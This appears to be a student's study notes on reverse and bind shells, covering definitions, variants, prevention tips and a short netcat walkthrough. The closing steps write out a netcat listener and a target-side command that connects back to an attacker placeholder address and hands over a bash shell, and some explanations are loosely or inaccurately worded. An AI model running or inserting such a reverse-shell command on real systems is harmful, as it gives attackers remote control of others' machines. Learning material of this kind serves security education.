REVERSE SHELL
Reverse Shell:
> Also called connect-back shell.
> is a shell session.
> Its take advantages of targets’s vulnerabilities.
> Then access victim’s computer.
Attacker Reverse Shell Server
> Attacker 1st start the server.
> Target will have to act as client & connect to the server.
> After successful connection, Attacker can gain access to the shell of the
target.
> Attacker does’t need the IP.
> Reverse shell opposite the Bind shell.
> Attacker can bypass the firewall because target tries to connect to the
attacker.
Goal of Reverse Shell :
Ans: > Gain access of the target computer.
> Allow attackers to open ports of target.
Uses of Reverse Shell:
Ans: > Penetration testing , allow attacker to bypass network security.
HowReverse Shell work?
Ans: > Attacker connect a remote network & request a shell session.
> attacker connect to target machine .
> Control the target remote network host.
> Request a shell session.
> By using phishing emails or malicious websites attacker can achieve
reverse shell.
Different types of Reverse shell:
> Create a reverse shell by using Netcat command or Netcat Reverse shell .
( Simplest method)
> Bash Reverse shell. ( worked in most linux machine).
> PHP Reverse shell. ( worked in web server , that use PHP)
> java Reverse shell. ( Worked if target machine uses Java)
> Ruby Reverse shell.
> Phython Reverse shell.
> Perl Reverse shell. ( worked in web server)
Prevention of Reverse shell :
> Use strong password.
> Audit and update software regularly.
>Be careful opening Email attachment.
>use a firewall.
Bind Shell:
Attacker Bind Shell Server
> Attacker launches a service on the Target .
> Attacker connect to target computer & execute commands.
> Attacker must have the IP address of the target.
> Attacker find open port on server/target then tries to bind to shell to port.
Netcat reverse Shell :
1> Setup a netcat listener on the attacking machine.
2> Connect back to netcat listener from Target.
3> Run commands on the target from attacking through netcat Shell session.
4> Then get the Target’s IP & then Attacker’s IP .
5> Then run netcat command in terminal.
Netcat command : nc -lvp 4444.
-l for listen node.
-v for verbose
Now Netcat listener is up & running on port 4444 on Attacking Machine.
6> Now go to target’s machine & get a reverse shell.
Syntax : nc <attacker ip> <port> -e/bin/bash.